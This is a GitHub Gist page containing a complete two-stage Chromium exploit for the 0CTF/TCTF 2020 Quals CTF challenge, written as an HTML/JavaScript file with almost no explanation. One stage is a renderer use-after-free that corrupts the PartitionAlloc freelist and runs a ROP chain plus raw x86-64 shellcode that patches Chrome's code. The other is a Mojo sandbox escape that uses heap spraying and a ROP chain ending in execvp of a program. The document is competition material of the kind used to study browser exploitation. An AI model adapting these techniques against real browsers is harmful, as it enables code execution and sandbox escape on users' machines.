Created
June 29, 2020 02:20
-
-
Save ujin5/5af3172c627b5d6b0eb3aa2e9276c5dd to your computer and use it in GitHub Desktop.
0CTF/TCTF 2020 Quals Chromium
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script id="worker1"> | |
worker:{ | |
if (typeof window === 'object') break worker; | |
self.onmessage = function() { | |
console.log("onmessage") | |
} | |
} | |
</script> | |
<script src="../mojo_bindings.js"></script> | |
<script src="../third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script> | |
<script src="../third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
<pre id='log'></pre> | |
<script> | |
function print(str) { | |
console.log(str); | |
var log = document.getElementById('log'); | |
if (log) { | |
log.innerText += str + '\n'; | |
} | |
} | |
function sleep(ms) { | |
return new Promise(resolve => setTimeout(resolve, ms)); | |
} | |
function dump64(arr){ | |
for(var i = 0; i < arr.length; i++) | |
if(arr[i]) | |
console.log(i, arr[i].toString(16)); | |
} | |
function bswap64(x){ | |
var y = 0n; | |
y += ((x & 0xffn) >> 0n) << 56n; | |
y += ((x & 0xff00n) >> 8n) << 48n; | |
y += ((x & 0xff0000n) >> 16n) << 40n; | |
y += ((x & 0xff000000n) >> 24n) << 32n; | |
y += ((x & 0xff00000000n) >> 32n) << 24n; | |
y += ((x & 0xff0000000000n) >> 40n) << 16n; | |
y += ((x & 0xff000000000000n) >> 48n) << 8n; | |
y += ((x & 0xff00000000000000n) >> 56n) << 0n; | |
return y; | |
} | |
let stringToBytes = string => Array.prototype.map.call(string + "\x00", v => v.charCodeAt(0)); | |
async function sbx(execve_path){ | |
function getAllocationConstructor() { | |
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); | |
Mojo.bindInterface(blink.mojom.BlobRegistry.name, | |
mojo.makeRequest(blob_registry_ptr).handle, "process", true); | |
function Allocation(size=280) { | |
function ProgressClient(allocate) { | |
function ProgressClientImpl() { | |
} | |
ProgressClientImpl.prototype = { | |
onProgress: async (arg0) => { | |
if (this.allocate.writePromise) { | |
this.allocate.writePromise.resolve(arg0); | |
} | |
} | |
}; | |
this.allocate = allocate; | |
this.ptr = new mojo.AssociatedInterfacePtrInfo(); | |
var progress_client_req = mojo.makeRequest(this.ptr); | |
this.binding = new mojo.AssociatedBinding( | |
blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req | |
); | |
return this; | |
} | |
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size}); | |
this.progressClient = new ProgressClient(this); | |
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => { | |
this.serialized_blob = res.blob; | |
}) | |
this.malloc = async function(data) { | |
promise = new Promise((resolve, reject) => { | |
this.writePromise = {resolve: resolve, reject: reject}; | |
}); | |
this.pipe.producer.writeData(data); | |
this.pipe.producer.close(); | |
written = await promise; | |
console.assert(written == data.byteLength); | |
} | |
this.free = async function() { | |
this.serialized_blob.blob.ptr.reset(); | |
await sleep(1000); | |
} | |
this.read = function(offset, length) { | |
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length}); | |
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null); | |
return new Promise((resolve) => { | |
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => { | |
result = new ArrayBuffer(length); | |
this.readpipe.consumer.readData(result); | |
this.watcher.cancel(); | |
resolve(result); | |
}); | |
}); | |
} | |
this.readQword = async function(offset) { | |
let res = await this.read(offset, 8); | |
return (new DataView(res)).getBigUint64(0, true); | |
} | |
return this; | |
} | |
async function allocate(data) { | |
let allocation = new Allocation(data.byteLength); | |
await allocation.malloc(data); | |
//await sleep(1000); | |
return allocation; | |
} | |
return allocate; | |
} | |
async function heapSreay(allocator, data, size){ | |
return Promise.all(Array(size).fill().map(() => allocator(data))); | |
} | |
const kInnerDbSize = 0x678; | |
/* | |
push rbp | |
mov rbp,rsp | |
lea rax,[rdi+0x8] | |
pop rbp | |
ret | |
*/ | |
const kMagicGadgetPtr = 0xa1bd380n; | |
const kFirstCallVtableOffset = 0x10n; | |
const ITER = 10; | |
const kFreeSpace = 0x300; | |
let successIndex = -1; | |
let allocator = getAllocationConstructor(); | |
var tstorage_ptr = new blink.mojom.TStoragePtr(); | |
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tstorage_ptr).handle, "context", true); | |
var libcAddr = await tstorage_ptr.getLibcAddress(); | |
libcAddr = libcAddr.addr; | |
var chromeAddr = await tstorage_ptr.getTextAddress(); | |
chromeAddr = chromeAddr.addr - 0x39b5e60; | |
print("libc.so.6 : 0x" + libcAddr.toString(16)); | |
print("chrome : 0x" + chromeAddr.toString(16)); | |
async function leakObj(freeSpace){ | |
var tstoragePtrs = []; | |
var tintancePtrs = []; | |
for(var i = 0 ; i < ITER; i ++){ | |
tstoragePtrs[i] = new blink.mojom.TStoragePtr(); | |
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tstoragePtrs[i]).handle, "context", true); | |
await tstoragePtrs[i].init(); | |
tintancePtrs[i] = (await tstoragePtrs[i].createInstance()).instance; | |
} | |
let fakeObject = new ArrayBuffer(kInnerDbSize); | |
let pfakeObject = new DataView(fakeObject); | |
var offset = 0; | |
pfakeObject.setBigUint64(offset, BigInt(chromeAddr) + kMagicGadgetPtr - BigInt(kFirstCallVtableOffset), true); | |
offset += 8; | |
pfakeObject.setBigUint64(offset, 0x133813381338n, true); | |
for(var i = 0; i < freeSpace.length; i++) | |
pfakeObject.setUint8(i + kFreeSpace, freeSpace[i]); | |
heap = []; | |
for(var i = 0 ; i < ITER; i ++){ | |
tstoragePtrs[i].ptr.reset(); | |
heap[i] = await heapSreay(allocator, fakeObject, 0x10); | |
} | |
for(var i = 0 ; i < ITER; i ++){ | |
var r = (await tintancePtrs[i].get(0)).value; | |
console.log(r.toString(16)); | |
if( r == 0x133813381338){ | |
successIndex = i; | |
console.log("success index : " + successIndex); | |
break; | |
} | |
} | |
var objPtr = (await tintancePtrs[successIndex].getTotalSize()).size; | |
return [objPtr - 0x8, tintancePtrs[successIndex]]; | |
} | |
async function pwn(objPtr){ | |
var tstoragePtrs = []; | |
var tintancePtrs = []; | |
for(var i = 0 ; i < ITER; i ++){ | |
tstoragePtrs[i] = new blink.mojom.TStoragePtr(); | |
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tstoragePtrs[i]).handle, "context", true); | |
await tstoragePtrs[i].init(); | |
tintancePtrs[i] = (await tstoragePtrs[i].createInstance()).instance; | |
} | |
let fakeObject = new ArrayBuffer(kInnerDbSize); | |
let pfakeObject = new DataView(fakeObject); | |
var offset = 0; | |
pfakeObject.setBigUint64(offset, BigInt(objPtr) - BigInt(kFirstCallVtableOffset), true); | |
offset += 8; | |
pfakeObject.setBigUint64(offset, 0x133813381338n, true); | |
heap = []; | |
for(var i = 0 ; i < ITER; i ++){ | |
tstoragePtrs[i].ptr.reset(); | |
heap[i] = await heapSreay(allocator, fakeObject, 0x40); | |
} | |
for(var i = 0 ; i < ITER; i ++){ | |
var r = (await tintancePtrs[i].get(0)).value; | |
console.log(r.toString(16)); | |
if( r == 0x133813381338){ | |
successIndex = i; | |
console.log("success index : " + successIndex); | |
break; | |
} | |
} | |
var objPtr = (await tintancePtrs[successIndex].getTotalSize()); | |
} | |
var [objPtr, tintancePtr] = await leakObj(stringToBytes(execve_path)); | |
print("objPtr : 0x" + objPtr.toString(16)); | |
var rop = [ | |
chromeAddr + 0x0000000002d45161, // pop rbp ; pop r12 ; ret | |
0xdeadbeef, | |
chromeAddr + 0x0000000007fde8a4, // xchg rax, rsp ; ret | |
chromeAddr + 0x0000000002e9ee1d, // pop rdi ; ret | |
objPtr + kFreeSpace, // program name | |
chromeAddr + 0x0000000002f49c6e, // pop rsi ; ret | |
objPtr + 0x58 + 0x10, | |
chromeAddr + 0x000000000a1b8890, // execvp | |
0xdeadbeef, | |
0x0, | |
0x0, | |
objPtr + kFreeSpace, // argv[0] | |
0x0, | |
]; | |
for(var i = 0; i < rop.length; i++) | |
await tintancePtr.set(i, rop[i]); | |
pwn(objPtr+0x18); | |
} | |
function rce(){ | |
/* | |
mov rdi, r14 | |
sub rdi, 0xaa23160 | |
mov byte ptr [rdi+0xa8f8848], 0 | |
mov esi, 0xa87d000 | |
mov edx, 7 | |
mov eax, SYS_mprotect | |
syscall | |
mov dword ptr [rdi+0x00000000046F83A7], 0x90909090 | |
mov byte ptr [rdi+0x00000000046F83A7+4], 0x90 | |
mov dword ptr [rdi+0x00000000046F83D6], 0x07e9 | |
mov byte ptr [rdi+0x00000000046F83D6+4], 0x00 | |
mov byte ptr [rdi+0x00000000046F8FE0], 0xc3 | |
mov byte ptr [rdi+0x472a070], 0xc3 | |
mov byte ptr [rdi+0x000000000AA57325], 1 | |
a: | |
jmp a | |
mov eax, SYS_exit | |
syscall | |
*/ | |
var payload = [76, 137, 247, 72, 129, 239, 96, 49, 162, 10, 198, 135, 72, 136, 143, 10, 0, 190, 0, 208, 135, 10, 186, 7, 0, 0, 0, | |
184, 10, 0, 0, 0, 15, 5, 199, 135, 167, 131, 111, 4, 144, 144, 144, 144, 198, 135, 171, 131, 111, 4, 144, 199, 135, | |
214, 131, 111, 4, 233, 7, 0, 0, 198, 135, 218, 131, 111, 4, 0, 198, 135, 224, 143, 111, 4, 195, 198, 135, 112, 160, | |
114, 4, 195, 198, 135, 37, 115, 165, 10, 1, 235, 254, 184, 60, 0, 0, 0, 15, 5]; | |
while(payload.length % 8) payload.push(0) | |
var shellcode_u8 = new Uint8Array(payload); | |
var shellcode = new BigInt64Array(shellcode_u8.buffer) | |
const kSuperPageBaseMask = 0xffffffffffe00000n; | |
const kSuperPageOffsetMask = 0x1fffffn; | |
const kPartitionPageShift = 14n; | |
const kPageMetadataShift = 5n; | |
function toPagePtr(x){ | |
var y = 0n; | |
var super_page_ptr = x & kSuperPageBaseMask; | |
var partition_page_index = (x & kSuperPageOffsetMask) >> kPartitionPageShift; | |
y = (super_page_ptr + 4096n) + (partition_page_index << kPageMetadataShift); | |
return y; | |
} | |
function gc() | |
{ | |
for(var i=0;i<((1024 * 1024)/0x10);i++) | |
{ | |
var a= new String(); | |
} | |
} | |
var blob = new Blob([ | |
document.querySelector('#worker1').textContent | |
], { type: "text/javascript" }) | |
var w = new Worker(window.URL.createObjectURL(blob)); | |
const kSize = 0x100; | |
let fiexd = new BigInt64Array(kSize/8); | |
let leak = new ArrayBuffer(kSize); | |
let victim = new ArrayBuffer(kSize); | |
let a = new BigInt64Array(leak); | |
let b = new BigInt64Array(victim); | |
w.postMessage({}, [leak]); | |
w.postMessage({}, [victim]); | |
setTimeout(()=>{ | |
w.terminate(); | |
delete w | |
gc(); | |
fiexd.set(a, 0); | |
next_ptr = bswap64(fiexd[0]); | |
console.log("0x" + next_ptr.toString(16)); | |
page_ptr = toPagePtr(next_ptr); | |
console.log("0x" + page_ptr.toString(16)); | |
fiexd[0]=bswap64(page_ptr+0x20n); | |
b.set(fiexd, 0); | |
var f1 = new BigInt64Array(0x100/8); | |
var f2 = new BigInt64Array(0x100/8); | |
var f3 = new BigInt64Array(0x100/8); | |
let _arr; | |
for(var i = 0; i < 50; i++) { | |
const arr = (new BigInt64Array(0x100/8)); | |
arr.fill(0x61616161n+BigInt(i)); | |
if(i === 0) { | |
_arr = arr; | |
} | |
if(i === 1) { | |
arr.set(shellcode, 0) | |
} | |
} | |
var chromeAddr = f2[2]-6472n-0x000000000AA23160n; | |
console.log("chrome : 0x" + chromeAddr.toString(16)); | |
const rop = [ | |
0xfbe9n, | |
// pop rax ; ret | |
chromeAddr+0x0000000002f48fe6n, | |
chromeAddr+0x000000000A8F8948n, | |
// xchg r12, rbp ; dec dword ptr [rax - 0x77] ; ret | |
chromeAddr+0x0000000004e53f91n, | |
// mov rbx, rdi ; ret | |
chromeAddr+0x0000000005fcd9cdn, | |
// pop rcx ; ret | |
chromeAddr+0x0000000002e0ebc0n, | |
0xfffffffffff000n, | |
chromeAddr+0x0000000008d2aa97n, | |
0n, | |
chromeAddr+0x0000000002f49c6en, | |
0x1000n, | |
chromeAddr+0x0000000002ea5d72n, | |
7n, | |
chromeAddr+0xa1b6440n, | |
// jmp rbx | |
chromeAddr+0x0000000002dbbbebn | |
] | |
_arr.set(rop, 0) | |
_arr = null; | |
self.f2=f2; | |
f2[0]=chromeAddr+0x000000000A8F8848n; | |
for(var i = 0; i < 500; i++) { | |
const arr = (new BigInt64Array(0x100/8)) | |
arr[0] = 1n | |
arr[2] = chromeAddr+0x000000000977e095n; | |
} | |
gc(); | |
location.reload(); | |
}, 2000); | |
} | |
if (typeof(Mojo) !== "undefined") { | |
sbx("./flag_printer"); | |
} else { | |
rce(); | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment